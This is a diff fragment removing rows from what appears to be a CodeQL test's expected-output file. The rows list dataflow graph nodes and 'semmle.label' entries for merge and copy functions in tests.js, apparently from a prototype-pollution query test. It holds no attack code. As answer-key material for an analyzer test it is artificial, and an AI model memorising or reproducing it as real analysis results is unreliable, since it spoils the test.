-| tests.js:24:14:24:19 | source | semmle.label | source |
-| tests.js:24:24:24:30 | sources [0] | semmle.label | sources [0] |
-| tests.js:25:18:25:20 | key | semmle.label | key |
-| tests.js:26:25:26:27 | dst | semmle.label | dst |
-| tests.js:26:30:26:35 | source | semmle.label | source |
-| tests.js:26:30:26:40 | source[key] | semmle.label | source[key] |
-| tests.js:26:37:26:39 | key | semmle.label | key |
-| tests.js:26:43:26:45 | key | semmle.label | key |
-| tests.js:31:22:31:24 | dst | semmle.label | dst |
-| tests.js:31:27:31:31 | value | semmle.label | value |
-| tests.js:31:34:31:36 | key | semmle.label | key |
-| tests.js:32:9:32:27 | dstValue | semmle.label | dstValue |
-| tests.js:32:20:32:22 | dst | semmle.label | dst |
-| tests.js:32:20:32:27 | dst[key] | semmle.label | dst[key] |
-| tests.js:32:24:32:26 | key | semmle.label | key |
-| tests.js:34:18:34:25 | dstValue | semmle.label | dstValue |
-| tests.js:34:28:34:32 | value | semmle.label | value |
-| tests.js:36:9:36:11 | dst | semmle.label | dst |
-| tests.js:36:13:36:15 | key | semmle.label | key |
-| tests.js:36:20:36:24 | value | semmle.label | value |
-| tests.js:40:27:40:29 | dst | semmle.label | dst |
-| tests.js:40:32:40:34 | src | semmle.label | src |
-| tests.js:41:14:41:16 | key | semmle.label | key |
-| tests.js:44:30:44:32 | dst | semmle.label | dst |
-| tests.js:44:30:44:37 | dst[key] | semmle.label | dst[key] |
-| tests.js:44:34:44:36 | key | semmle.label | key |
-| tests.js:44:40:44:42 | src | semmle.label | src |
-| tests.js:44:40:44:47 | src[key] | semmle.label | src[key] |
-| tests.js:44:44:44:46 | key | semmle.label | key |
-| tests.js:46:13:46:15 | dst | semmle.label | dst |
-| tests.js:46:17:46:19 | key | semmle.label | key |
-| tests.js:46:24:46:26 | src | semmle.label | src |
-| tests.js:46:24:46:31 | src[key] | semmle.label | src[key] |
-| tests.js:46:28:46:30 | key | semmle.label | key |
-| tests.js:51:26:51:28 | dst | semmle.label | dst |
-| tests.js:51:31:51:33 | src | semmle.label | src |
-| tests.js:52:14:52:16 | key | semmle.label | key |
-| tests.js:55:29:55:31 | dst | semmle.label | dst |
-| tests.js:55:29:55:36 | dst[key] | semmle.label | dst[key] |
-| tests.js:55:33:55:35 | key | semmle.label | key |
-| tests.js:55:39:55:41 | src | semmle.label | src |
-| tests.js:55:39:55:46 | src[key] | semmle.label | src[key] |
-| tests.js:55:43:55:45 | key | semmle.label | key |
-| tests.js:57:13:57:15 | dst | semmle.label | dst |
-| tests.js:57:17:57:19 | key | semmle.label | key |
-| tests.js:57:24:57:26 | src | semmle.label | src |
-| tests.js:57:24:57:31 | src[key] | semmle.label | src[key] |
-| tests.js:57:28:57:30 | key | semmle.label | key |
-| tests.js:62:33:62:35 | src | semmle.label | src |
-| tests.js:66:41:66:43 | src | semmle.label | src |
-| tests.js:66:41:66:48 | src[key] | semmle.label | src[key] |
-| tests.js:68:24:68:26 | src | semmle.label | src |
-| tests.js:68:24:68:31 | src[key] | semmle.label | src[key] |
-| tests.js:77:27:77:29 | src | semmle.label | src |
-| tests.js:81:39:81:41 | src | semmle.label | src |
-| tests.js:81:39:81:46 | src[key] | semmle.label | src[key] |
-| tests.js:83:28:83:30 | src | semmle.label | src |
-| tests.js:83:28:83:35 | src[key] | semmle.label | src[key] |
-| tests.js:89:34:89:36 | src | semmle.label | src |
-| tests.js:90:14:90:16 | key | semmle.label | key |
-| tests.js:94:42:94:44 | src | semmle.label | src |
-| tests.js:94:42:94:49 | src[key] | semmle.label | src[key] |
-| tests.js:96:17:96:19 | key | semmle.label | key |
-| tests.js:96:24:96:26 | src | semmle.label | src |
-| tests.js:96:24:96:31 | src[key] | semmle.label | src[key] |
-| tests.js:96:28:96:30 | key | semmle.label | key |
-| tests.js:101:32:101:34 | dst | semmle.label | dst |
-| tests.js:101:37:101:39 | src | semmle.label | src |
-| tests.js:102:14:102:16 | key | semmle.label | key |
-| tests.js:107:35:107:37 | dst | semmle.label | dst |
-| tests.js:107:35:107:42 | dst[key] | semmle.label | dst[key] |
-| tests.js:107:39:107:41 | key | semmle.label | key |
-| tests.js:107:45:107:47 | src | semmle.label | src |
-| tests.js:107:45:107:52 | src[key] | semmle.label | src[key] |
-| tests.js:107:49:107:51 | key | semmle.label | key |
-| tests.js:109:13:109:15 | dst | semmle.label | dst |
-| tests.js:109:17:109:19 | key | semmle.label | key |
-| tests.js:109:24:109:26 | src | semmle.label | src |
-| tests.js:109:24:109:31 | src[key] | semmle.label | src[key] |
-| tests.js:109:28:109:30 | key | semmle.label | key |
-| tests.js:116:41:116:43 | src | semmle.label | src |
-| tests.js:117:14:117:16 | key | semmle.label | key |
-| tests.js:119:49:119:51 | src | semmle.label | src |
-| tests.js:119:49:119:56 | src[key] | semmle.label | src[key] |
-| tests.js:121:17:121:19 | key | semmle.label | key |
-| tests.js:121:24:121:26 | src | semmle.label | src |
-| tests.js:121:24:121:31 | src[key] | semmle.label | src[key] |
-| tests.js:121:28:121:30 | key | semmle.label | key |
-| tests.js:149:31:149:33 | dst | semmle.label | dst |
-| tests.js:149:36:149:38 | src | semmle.label | src |
-| tests.js:150:14:150:16 | key | semmle.label | key |
-| tests.js:152:22:152:24 | dst | semmle.label | dst |
-| tests.js:152:27:152:29 | src | semmle.label | src |
-| tests.js:152:32:152:34 | key | semmle.label | key |
-| tests.js:154:13:154:15 | dst | semmle.label | dst |
-| tests.js:154:17:154:19 | key | semmle.label | key |
-| tests.js:154:24:154:26 | src | semmle.label | src |
-| tests.js:154:24:154:31 | src[key] | semmle.label | src[key] |
-| tests.js:154:28:154:30 | key | semmle.label | key |
-| tests.js:159:36:159:38 | dst | semmle.label | dst |
-| tests.js:159:41:159:43 | src | semmle.label | src |
-| tests.js:160:26:160:28 | dst | semmle.label | dst |
-| tests.js:160:31:160:33 | src | semmle.label | src |
-| tests.js:160:37:160:39 | dst | semmle.label | dst |
-| tests.js:160:42:160:44 | src | semmle.label | src |
-| tests.js:160:47:160:49 | key | semmle.label | key |
-| tests.js:161:35:161:37 | dst | semmle.label | dst |
-| tests.js:161:35:161:42 | dst[key] | semmle.label | dst[key] |
-| tests.js:161:39:161:41 | key | semmle.label | key |
-| tests.js:161:45:161:47 | src | semmle.label | src |
-| tests.js:161:45:161:52 | src[key] | semmle.label | src[key] |
-| tests.js:161:49:161:51 | key | semmle.label | key |
-| tests.js:165:37:165:39 | src | semmle.label | src |
-| tests.js:166:14:166:16 | key | semmle.label | key |
-| tests.js:169:45:169:47 | src | semmle.label | src |
-| tests.js:169:45:169:52 | src[key] | semmle.label | src[key] |
-| tests.js:169:49:169:51 | key | semmle.label | key |
-| tests.js:171:17:171:19 | key | semmle.label | key |
-| tests.js:171:24:171:26 | src | semmle.label | src |
-| tests.js:171:24:171:31 | src[key] | semmle.label | src[key] |
-| tests.js:171:28:171:30 | key | semmle.label | key |
-| tests.js:178:33:178:35 | src | semmle.label | src |
-| tests.js:182:41:182:43 | src | semmle.label | src |
-| tests.js:182:41:182:48 | src[key] | semmle.label | src[key] |
-| tests.js:184:24:184:26 | src | semmle.label | src |
-| tests.js:184:24:184:31 | src[key] | semmle.label | src[key] |
-| tests.js:189:32:189:34 | dst | semmle.label | dst |
-| tests.js:189:37:189:39 | src | semmle.label | src |
-| tests.js:192:13:192:25 | key | semmle.label | key |
-| tests.js:192:19:192:25 | keys[i] | semmle.label | keys[i] |
-| tests.js:194:35:194:37 | dst | semmle.label | dst |
-| tests.js:194:35:194:42 | dst[key] | semmle.label | dst[key] |
-| tests.js:194:39:194:41 | key | semmle.label | key |
-| tests.js:194:45:194:47 | src | semmle.label | src |
-| tests.js:194:45:194:52 | src[key] | semmle.label | src[key] |
-| tests.js:194:49:194:51 | key | semmle.label | key |
-| tests.js:196:13:196:15 | dst | semmle.label | dst |
-| tests.js:196:17:196:19 | key | semmle.label | key |
-| tests.js:196:24:196:26 | src | semmle.label | src |
-| tests.js:196:24:196:31 | src[key] | semmle.label | src[key] |
-| tests.js:196:28:196:30 | key | semmle.label | key |
-| tests.js:201:39:201:41 | dst | semmle.label | dst |
-| tests.js:201:44:201:46 | src | semmle.label | src |
-| tests.js:206:42:206:44 | dst | semmle.label | dst |
-| tests.js:206:42:206:53 | dst[keys[i]] | semmle.label | dst[keys[i]] |
-| tests.js:206:46:206:52 | keys[i] | semmle.label | keys[i] |
-| tests.js:206:56:206:58 | src | semmle.label | src |
-| tests.js:206:56:206:67 | src[keys[i]] | semmle.label | src[keys[i]] |
-| tests.js:206:60:206:66 | keys[i] | semmle.label | keys[i] |
-| tests.js:208:13:208:15 | dst | semmle.label | dst |
-| tests.js:208:17:208:23 | keys[i] | semmle.label | keys[i] |
-| tests.js:208:28:208:30 | src | semmle.label | src |
-| tests.js:208:28:208:39 | src[keys[i]] | semmle.label | src[keys[i]] |
-| tests.js:208:32:208:38 | keys[i] | semmle.label | keys[i] |
-| tests.js:213:23:213:26 | key1 | semmle.label | key1 |
-| tests.js:213:29:213:32 | key2 | semmle.label | key2 |
-| tests.js:213:35:213:39 | value | semmle.label | value |
-| tests.js:217:5:217:13 | map[key1] | semmle.label | map[key1] |
-| tests.js:217:9:217:12 | key1 | semmle.label | key1 |
-| tests.js:217:15:217:18 | key2 | semmle.label | key2 |
-| tests.js:217:23:217:27 | value | semmle.label | value |
-| tests.js:223:14:223:16 | key | semmle.label | key |
-| tests.js:224:23:224:25 | key | semmle.label | key |
-| tests.js:224:33:224:41 | data[key] | semmle.label | data[key] |
-| tests.js:224:38:224:40 | key | semmle.label | key |
-| tests.js:225:28:225:30 | key | semmle.label | key |
-| tests.js:225:33:225:41 | data[key] | semmle.label | data[key] |
-| tests.js:225:38:225:40 | key | semmle.label | key |
-| tests.js:229:26:229:29 | key1 | semmle.label | key1 |
-| tests.js:229:32:229:35 | key2 | semmle.label | key2 |
-| tests.js:229:38:229:42 | value | semmle.label | value |
-| tests.js:233:5:233:13 | map[key1] | semmle.label | map[key1] |
-| tests.js:233:9:233:12 | key1 | semmle.label | key1 |
-| tests.js:233:15:233:18 | key2 | semmle.label | key2 |
-| tests.js:233:23:233:27 | value | semmle.label | value |
-| tests.js:238:14:238:16 | key | semmle.label | key |
-| tests.js:239:24:239:26 | key | semmle.label | key |
-| tests.js:239:34:239:42 | data[key] | semmle.label | data[key] |
-| tests.js:239:39:239:41 | key | semmle.label | key |
-| tests.js:240:31:240:33 | key | semmle.label | key |
-| tests.js:240:36:240:44 | data[key] | semmle.label | data[key] |
-| tests.js:240:41:240:43 | key | semmle.label | key |
-| tests.js:263:27:263:29 | dst | semmle.label | dst |
-| tests.js:265:13:265:26 | key | semmle.label | key |
-| tests.js:265:19:265:26 | entry[0] | semmle.label | entry[0] |
-| tests.js:266:13:266:28 | value | semmle.label | value |
-| tests.js:266:21:266:28 | entry[1] | semmle.label | entry[1] |
-| tests.js:268:30:268:32 | dst | semmle.label | dst |
-| tests.js:268:30:268:37 | dst[key] | semmle.label | dst[key] |
-| tests.js:268:34:268:36 | key | semmle.label | key |
-| tests.js:270:13:270:15 | dst | semmle.label | dst |
-| tests.js:270:17:270:19 | key | semmle.label | key |
-| tests.js:270:24:270:28 | value | semmle.label | value |
-| tests.js:275:27:275:29 | dst | semmle.label | dst |
-| tests.js:275:32:275:34 | src | semmle.label | src |
-| tests.js:276:21:276:23 | src | semmle.label | src |
-| tests.js:276:34:276:36 | key | semmle.label | key |
-| tests.js:278:30:278:32 | dst | semmle.label | dst |
-| tests.js:278:30:278:37 | dst[key] | semmle.label | dst[key] |
-| tests.js:278:34:278:36 | key | semmle.label | key |
-| tests.js:278:40:278:42 | src | semmle.label | src |
-| tests.js:278:40:278:47 | src[key] | semmle.label | src[key] |
-| tests.js:278:44:278:46 | key | semmle.label | key |
-| tests.js:280:13:280:15 | dst | semmle.label | dst |
-| tests.js:280:17:280:19 | key | semmle.label | key |
-| tests.js:280:24:280:26 | src | semmle.label | src |
-| tests.js:280:24:280:31 | src[key] | semmle.label | src[key] |
-| tests.js:280:28:280:30 | key | semmle.label | key |
-| tests.js:301:27:301:29 | dst | semmle.label | dst |
-| tests.js:301:32:301:34 | src | semmle.label | src |
-| tests.js:302:14:302:16 | key | semmle.label | key |
-| tests.js:304:17:304:32 | value | semmle.label | value |
-| tests.js:304:17:304:32 | value | semmle.label | value |
-| tests.js:304:17:304:32 | value | semmle.label | value |
-| tests.js:304:25:304:27 | src | semmle.label | src |
-| tests.js:304:25:304:32 | src[key] | semmle.label | src[key] |
-| tests.js:304:25:304:32 | src[key] | semmle.label | src[key] |
-| tests.js:304:25:304:32 | src[key] | semmle.label | src[key] |
-| tests.js:304:29:304:31 | key | semmle.label | key |
-| tests.js:306:34:306:36 | dst | semmle.label | dst |
-| tests.js:306:34:306:41 | dst[key] | semmle.label | dst[key] |
-| tests.js:306:38:306:40 | key | semmle.label | key |
-| tests.js:306:44:306:48 | value | semmle.label | value |
-| tests.js:308:17:308:19 | dst | semmle.label | dst |
-| tests.js:308:21:308:23 | key | semmle.label | key |
-| tests.js:308:28:308:32 | value | semmle.label | value |
-| tests.js:314:31:314:33 | dst | semmle.label | dst |
-| tests.js:314:36:314:38 | src | semmle.label | src |
-| tests.js:315:14:315:16 | key | semmle.label | key |
-| tests.js:318:17:318:32 | value | semmle.label | value |
-| tests.js:318:17:318:32 | value | semmle.label | value |
-| tests.js:318:17:318:32 | value | semmle.label | value |
-| tests.js:318:25:318:27 | src | semmle.label | src |
-| tests.js:318:25:318:32 | src[key] | semmle.label | src[key] |
-| tests.js:318:25:318:32 | src[key] | semmle.label | src[key] |
-| tests.js:318:25:318:32 | src[key] | semmle.label | src[key] |
-| tests.js:318:29:318:31 | key | semmle.label | key |
-| tests.js:320:38:320:40 | dst | semmle.label | dst |
-| tests.js:320:38:320:45 | dst[key] | semmle.label | dst[key] |
-| tests.js:320:42:320:44 | key | semmle.label | key |
-| tests.js:320:48:320:52 | value | semmle.label | value |
-| tests.js:322:17:322:19 | dst | semmle.label | dst |
-| tests.js:322:21:322:23 | key | semmle.label | key |
-| tests.js:322:28:322:32 | value | semmle.label | value |
-| tests.js:328:25:328:27 | dst | semmle.label | dst |
-| tests.js:328:30:328:32 | src | semmle.label | src |
-| tests.js:329:14:329:16 | key | semmle.label | key |
-| tests.js:336:32:336:34 | dst | semmle.label | dst |
-| tests.js:336:32:336:39 | dst[key] | semmle.label | dst[key] |
-| tests.js:336:36:336:38 | key | semmle.label | key |
-| tests.js:336:42:336:44 | src | semmle.label | src |
-| tests.js:336:42:336:49 | src[key] | semmle.label | src[key] |
-| tests.js:336:46:336:48 | key | semmle.label | key |
-| tests.js:338:17:338:19 | dst | semmle.label | dst |
-| tests.js:338:21:338:23 | key | semmle.label | key |
-| tests.js:338:28:338:30 | src | semmle.label | src |
-| tests.js:338:28:338:35 | src[key] | semmle.label | src[key] |
-| tests.js:338:32:338:34 | key | semmle.label | key |
-| tests.js:348:32:348:37 | target | semmle.label | target |
-| tests.js:348:40:348:45 | source | semmle.label | source |
-| tests.js:349:26:349:31 | target | semmle.label | target |
-| tests.js:349:54:349:59 | source | semmle.label | source |
-| tests.js:350:21:350:26 | source | semmle.label | source |
-| tests.js:350:37:350:39 | key | semmle.label | key |
-| tests.js:355:17:355:22 | target | semmle.label | target |
-| tests.js:355:24:355:26 | key | semmle.label | key |
-| tests.js:355:31:355:86 | mergePl ... ptions) | semmle.label | mergePl ... ptions) |
-| tests.js:355:53:355:58 | target | semmle.label | target |
-| tests.js:355:53:355:63 | target[key] | semmle.label | target[key] |
-| tests.js:355:60:355:62 | key | semmle.label | key |
-| tests.js:355:66:355:71 | source | semmle.label | source |
-| tests.js:355:66:355:76 | source[key] | semmle.label | source[key] |
-| tests.js:357:17:357:22 | target | semmle.label | target |
-| tests.js:357:24:357:26 | key | semmle.label | key |
-| tests.js:357:31:357:36 | source | semmle.label | source |
-| tests.js:357:31:357:41 | source[key] | semmle.label | source[key] |
-| tests.js:357:38:357:40 | key | semmle.label | key |
-| tests.js:361:12:361:17 | target | semmle.label | target |
-| tests.js:364:41:364:46 | target | semmle.label | target |
-| tests.js:364:49:364:54 | source | semmle.label | source |
-| tests.js:366:18:366:20 | key | semmle.label | key |
-| tests.js:371:24:371:26 | key | semmle.label | key |
-| tests.js:371:31:371:95 | mergePl ... ptions) | semmle.label | mergePl ... ptions) |
-| tests.js:371:62:371:72 | target[key] | semmle.label | target[key] |
-| tests.js:371:69:371:71 | key | semmle.label | key |
-| tests.js:371:75:371:80 | source | semmle.label | source |
-| tests.js:371:75:371:85 | source[key] | semmle.label | source[key] |
-| tests.js:373:24:373:26 | key | semmle.label | key |
-| tests.js:373:31:373:36 | source | semmle.label | source |
-| tests.js:373:31:373:41 | source[key] | semmle.label | source[key] |
-| tests.js:373:38:373:40 | key | semmle.label | key |
-| tests.js:377:12:377:17 | target | semmle.label | target |
-| tests.js:380:22:380:24 | obj | semmle.label | obj |
-| tests.js:380:27:380:34 | callback [dst] | semmle.label | callback [dst] |
-| tests.js:380:27:380:34 | callback [dst] | semmle.label | callback [dst] |
-| tests.js:380:27:380:34 | callback [dst] | semmle.label | callback [dst] |
-| tests.js:380:27:380:34 | callback [dst] | semmle.label | callback [dst] |
-| tests.js:380:27:380:34 | callback [src] | semmle.label | callback [src] |
-| tests.js:381:14:381:16 | key | semmle.label | key |
-| tests.js:383:13:383:20 | callback [dst] | semmle.label | callback [dst] |
-| tests.js:383:13:383:20 | callback [dst] | semmle.label | callback [dst] |
-| tests.js:383:13:383:20 | callback [dst] | semmle.label | callback [dst] |
-| tests.js:383:13:383:20 | callback [dst] | semmle.label | callback [dst] |
-| tests.js:383:13:383:20 | callback [src] | semmle.label | callback [src] |
-| tests.js:383:22:383:24 | key | semmle.label | key |
-| tests.js:383:27:383:29 | obj | semmle.label | obj |
-| tests.js:383:27:383:34 | obj[key] | semmle.label | obj[key] |
-| tests.js:383:31:383:33 | key | semmle.label | key |
-| tests.js:388:29:388:31 | dst | semmle.label | dst |
-| tests.js:388:29:388:31 | dst | semmle.label | dst |
-| tests.js:388:34:388:36 | src | semmle.label | src |
-| tests.js:389:17:389:19 | src | semmle.label | src |
-| tests.js:389:22:389:24 | key | semmle.label | key |
-| tests.js:391:32:391:34 | dst | semmle.label | dst |
-| tests.js:391:32:391:34 | dst | semmle.label | dst |
-| tests.js:391:32:391:39 | dst[key] | semmle.label | dst[key] |
-| tests.js:391:32:391:39 | dst[key] | semmle.label | dst[key] |
-| tests.js:391:36:391:38 | key | semmle.label | key |
-| tests.js:391:42:391:44 | src | semmle.label | src |
-| tests.js:391:42:391:49 | src[key] | semmle.label | src[key] |
-| tests.js:391:46:391:48 | key | semmle.label | key |
-| tests.js:393:13:393:15 | dst | semmle.label | dst |
-| tests.js:393:17:393:19 | key | semmle.label | key |
-| tests.js:393:24:393:26 | src | semmle.label | src |
-| tests.js:393:24:393:31 | src[key] | semmle.label | src[key] |
-| tests.js:393:28:393:30 | key | semmle.label | key |
-| tests.js:398:30:398:32 | dst | semmle.label | dst |
-| tests.js:398:30:398:32 | dst | semmle.label | dst |
-| tests.js:398:35:398:37 | src | semmle.label | src |
-| tests.js:399:17:399:19 | src | semmle.label | src |
-| tests.js:399:23:399:25 | key | semmle.label | key |
-| tests.js:399:28:399:32 | value | semmle.label | value |
-| tests.js:401:33:401:35 | dst | semmle.label | dst |
-| tests.js:401:33:401:35 | dst | semmle.label | dst |
-| tests.js:401:33:401:40 | dst[key] | semmle.label | dst[key] |
-| tests.js:401:33:401:40 | dst[key] | semmle.label | dst[key] |
-| tests.js:401:37:401:39 | key | semmle.label | key |
-| tests.js:401:43:401:47 | value | semmle.label | value |
-| tests.js:403:13:403:15 | dst | semmle.label | dst |
-| tests.js:403:17:403:19 | key | semmle.label | key |
-| tests.js:403:24:403:28 | value | semmle.label | value |
-| tests.js:408:22:408:24 | obj | semmle.label | obj |
-| tests.js:408:27:408:29 | key | semmle.label | key |
-| tests.js:409:12:409:14 | obj | semmle.label | obj |
-| tests.js:409:12:409:19 | obj[key] | semmle.label | obj[key] |
-| tests.js:409:16:409:18 | key | semmle.label | key |
-| tests.js:412:31:412:33 | dst | semmle.label | dst |
-| tests.js:412:36:412:38 | src | semmle.label | src |
-| tests.js:413:14:413:16 | key | semmle.label | key |
-| tests.js:414:13:414:41 | value | semmle.label | value |
-| tests.js:414:21:414:41 | wrapped ... c, key) | semmle.label | wrapped ... c, key) |
-| tests.js:414:33:414:35 | src | semmle.label | src |
-| tests.js:414:38:414:40 | key | semmle.label | key |
-| tests.js:415:13:415:42 | target | semmle.label | target |
-| tests.js:415:22:415:42 | wrapped ... t, key) | semmle.label | wrapped ... t, key) |
-| tests.js:415:34:415:36 | dst | semmle.label | dst |
-| tests.js:415:39:415:41 | key | semmle.label | key |
-| tests.js:417:34:417:39 | target | semmle.label | target |
-| tests.js:417:42:417:46 | value | semmle.label | value |
-| tests.js:419:13:419:15 | dst | semmle.label | dst |
-| tests.js:419:17:419:19 | key | semmle.label | key |
-| tests.js:419:24:419:28 | value | semmle.label | value |
-| tests.js:424:25:424:27 | obj | semmle.label | obj |
-| tests.js:424:30:424:32 | key | semmle.label | key |
-| tests.js:426:12:426:14 | obj | semmle.label | obj |
-| tests.js:426:12:426:19 | obj[key] | semmle.label | obj[key] |
-| tests.js:426:16:426:18 | key | semmle.label | key |
-| tests.js:429:34:429:36 | dst | semmle.label | dst |
-| tests.js:429:39:429:41 | src | semmle.label | src |
-| tests.js:430:14:430:16 | key | semmle.label | key |
-| tests.js:431:13:431:44 | value | semmle.label | value |
-| tests.js:431:21:431:44 | almostS ... c, key) | semmle.label | almostS ... c, key) |
-| tests.js:431:36:431:38 | src | semmle.label | src |
-| tests.js:431:41:431:43 | key | semmle.label | key |
-| tests.js:432:13:432:45 | target | semmle.label | target |
-| tests.js:432:22:432:45 | almostS ... t, key) | semmle.label | almostS ... t, key) |
-| tests.js:432:37:432:39 | dst | semmle.label | dst |
-| tests.js:432:42:432:44 | key | semmle.label | key |
-| tests.js:434:37:434:42 | target | semmle.label | target |
-| tests.js:434:45:434:49 | value | semmle.label | value |
-| tests.js:436:13:436:15 | dst | semmle.label | dst |
-| tests.js:436:17:436:19 | key | semmle.label | key |
-| tests.js:436:24:436:28 | value | semmle.label | value |
-| tests.js:441:19:441:21 | obj | semmle.label | obj |
-| tests.js:443:12:443:14 | obj | semmle.label | obj |
-| tests.js:443:12:443:19 | obj[key] | semmle.label | obj[key] |
-| tests.js:446:33:446:35 | src | semmle.label | src |
-| tests.js:447:14:447:16 | key | semmle.label | key |
-| tests.js:448:13:448:38 | value | semmle.label | value |
-| tests.js:448:21:448:38 | safeRead(src, key) | semmle.label | safeRead(src, key) |
-| tests.js:448:30:448:32 | src | semmle.label | src |
-| tests.js:451:39:451:43 | value | semmle.label | value |
-| tests.js:453:17:453:19 | key | semmle.label | key |
-| tests.js:453:24:453:28 | value | semmle.label | value |
-| tests.js:458:26:458:28 | dst | semmle.label | dst |
-| tests.js:458:31:458:33 | src | semmle.label | src |
-| tests.js:460:12:460:14 | src | semmle.label | src |
-| tests.js:460:18:460:22 | value | semmle.label | value |
-| tests.js:460:25:460:27 | key | semmle.label | key |
-| tests.js:462:29:462:31 | dst | semmle.label | dst |
-| tests.js:462:29:462:36 | dst[key] | semmle.label | dst[key] |
-| tests.js:462:33:462:35 | key | semmle.label | key |
-| tests.js:462:39:462:41 | src | semmle.label | src |
-| tests.js:462:39:462:46 | src[key] | semmle.label | src[key] |
-| tests.js:462:43:462:45 | key | semmle.label | key |
-| tests.js:465:30:465:32 | dst | semmle.label | dst |
-| tests.js:465:34:465:36 | key | semmle.label | key |
-| tests.js:465:41:465:43 | src | semmle.label | src |
-| tests.js:465:41:465:48 | src[key] | semmle.label | src[key] |
-| tests.js:465:45:465:47 | key | semmle.label | key |
-| tests.js:466:30:466:32 | dst | semmle.label | dst |
-| tests.js:466:34:466:36 | key | semmle.label | key |
-| tests.js:466:41:466:46 | o[key] | semmle.label | o[key] |
-| tests.js:466:43:466:45 | key | semmle.label | key |
-| tests.js:467:30:467:32 | dst | semmle.label | dst |
-| tests.js:467:34:467:36 | key | semmle.label | key |
-| tests.js:467:41:467:45 | value | semmle.label | value |
-| tests.js:472:38:472:40 | dst | semmle.label | dst |
-| tests.js:473:18:473:22 | value | semmle.label | value |
-| tests.js:473:25:473:27 | key | semmle.label | key |
-| tests.js:475:41:475:43 | dst | semmle.label | dst |
-| tests.js:475:41:475:48 | dst[key] | semmle.label | dst[key] |
-| tests.js:475:45:475:47 | key | semmle.label | key |
-| tests.js:477:13:477:15 | dst | semmle.label | dst |
-| tests.js:477:17:477:19 | key | semmle.label | key |
-| tests.js:477:24:477:28 | value | semmle.label | value |
-| tests.js:483:26:483:28 | dst | semmle.label | dst |
-| tests.js:483:31:483:33 | src | semmle.label | src |
-| tests.js:483:31:483:33 | src | semmle.label | src |
-| tests.js:484:14:484:16 | key | semmle.label | key |
-| tests.js:487:29:487:31 | dst | semmle.label | dst |
-| tests.js:487:29:487:36 | dst[key] | semmle.label | dst[key] |
-| tests.js:487:33:487:35 | key | semmle.label | key |
-| tests.js:487:39:487:41 | src | semmle.label | src |
-| tests.js:487:39:487:46 | src[key] | semmle.label | src[key] |
-| tests.js:487:39:487:46 | src[key] | semmle.label | src[key] |
-| tests.js:487:39:487:46 | src[key] | semmle.label | src[key] |
-| tests.js:487:43:487:45 | key | semmle.label | key |
-| tests.js:489:13:489:15 | dst | semmle.label | dst |
-| tests.js:489:17:489:19 | key | semmle.label | key |
-| tests.js:489:24:489:26 | src | semmle.label | src |
-| tests.js:489:24:489:31 | src[key] | semmle.label | src[key] |
-| tests.js:489:28:489:30 | key | semmle.label | key |
-| tests.js:494:32:494:34 | src | semmle.label | src |
-| tests.js:495:14:495:16 | key | semmle.label | key |
-| tests.js:498:13:498:28 | value | semmle.label | value |
-| tests.js:498:13:498:28 | value | semmle.label | value |
-| tests.js:498:13:498:28 | value | semmle.label | value |
-| tests.js:498:21:498:23 | src | semmle.label | src |
-| tests.js:498:21:498:28 | src[key] | semmle.label | src[key] |
-| tests.js:498:21:498:28 | src[key] | semmle.label | src[key] |
-| tests.js:498:21:498:28 | src[key] | semmle.label | src[key] |
-| tests.js:498:25:498:27 | key | semmle.label | key |
-| tests.js:500:38:500:42 | value | semmle.label | value |
-| tests.js:502:17:502:19 | key | semmle.label | key |
-| tests.js:502:24:502:28 | value | semmle.label | value |
-| tests.js:508:30:508:32 | dst | semmle.label | dst |
-| tests.js:508:35:508:37 | src | semmle.label | src |
-| tests.js:511:13:511:25 | key | semmle.label | key |
-| tests.js:511:19:511:25 | keys[i] | semmle.label | keys[i] |
-| tests.js:513:33:513:35 | dst | semmle.label | dst |
-| tests.js:513:33:513:40 | dst[key] | semmle.label | dst[key] |
-| tests.js:513:37:513:39 | key | semmle.label | key |
-| tests.js:513:43:513:45 | src | semmle.label | src |
-| tests.js:513:43:513:50 | src[key] | semmle.label | src[key] |
-| tests.js:513:47:513:49 | key | semmle.label | key |
-| tests.js:516:32:516:34 | src | semmle.label | src |
-| tests.js:516:32:516:39 | src[key] | semmle.label | src[key] |
-| tests.js:516:36:516:38 | key | semmle.label | key |
-| tests.js:517:35:517:37 | dst | semmle.label | dst |
-| tests.js:517:40:517:42 | key | semmle.label | key |
-| tests.js:522:35:522:38 | args [0] | semmle.label | args [0] |
-| tests.js:522:35:522:38 | args [1] | semmle.label | args [1] |
-| tests.js:523:11:523:23 | dst | semmle.label | dst |
-| tests.js:523:17:523:20 | args [0] | semmle.label | args [0] |
-| tests.js:523:17:523:23 | args[0] | semmle.label | args[0] |
-| tests.js:524:11:524:23 | src | semmle.label | src |
-| tests.js:524:17:524:20 | args [1] | semmle.label | args [1] |
-| tests.js:524:17:524:23 | args[1] | semmle.label | args[1] |
-| tests.js:525:14:525:16 | key | semmle.label | key |
-| tests.js:527:35:527:37 | dst | semmle.label | dst |
-| tests.js:527:35:527:42 | dst[key] | semmle.label | dst[key] |
-| tests.js:527:39:527:41 | key | semmle.label | key |
-| tests.js:527:45:527:47 | src | semmle.label | src |
-| tests.js:527:45:527:52 | src[key] | semmle.label | src[key] |
-| tests.js:527:49:527:51 | key | semmle.label | key |
-| tests.js:529:13:529:15 | dst | semmle.label | dst |
-| tests.js:529:17:529:19 | key | semmle.label | key |
-| tests.js:529:24:529:26 | src | semmle.label | src |
-| tests.js:529:24:529:31 | src[key] | semmle.label | src[key] |
-| tests.js:529:28:529:30 | key | semmle.label | key |
-| tests.js:534:31:534:33 | obj | semmle.label | obj |
-| tests.js:534:36:534:43 | callback [dst] | semmle.label | callback [dst] |
-| tests.js:538:9:538:16 | callback [dst] | semmle.label | callback [dst] |
-| tests.js:538:18:538:24 | keys[i] | semmle.label | keys[i] |
-| tests.js:538:27:538:29 | obj | semmle.label | obj |
-| tests.js:538:27:538:38 | obj[keys[i]] | semmle.label | obj[keys[i]] |
-| tests.js:538:31:538:37 | keys[i] | semmle.label | keys[i] |
-| tests.js:542:30:542:32 | dst | semmle.label | dst |
-| tests.js:542:35:542:37 | src | semmle.label | src |
-| tests.js:543:26:543:28 | src | semmle.label | src |
-| tests.js:543:32:543:34 | key | semmle.label | key |
-| tests.js:543:37:543:41 | value | semmle.label | value |
-| tests.js:545:33:545:35 | dst | semmle.label | dst |
-| tests.js:545:33:545:40 | dst[key] | semmle.label | dst[key] |
-| tests.js:545:37:545:39 | key | semmle.label | key |
-| tests.js:545:43:545:47 | value | semmle.label | value |
-| tests.js:547:13:547:15 | dst | semmle.label | dst |
-| tests.js:547:17:547:19 | key | semmle.label | key |
-| tests.js:547:24:547:28 | value | semmle.label | value |
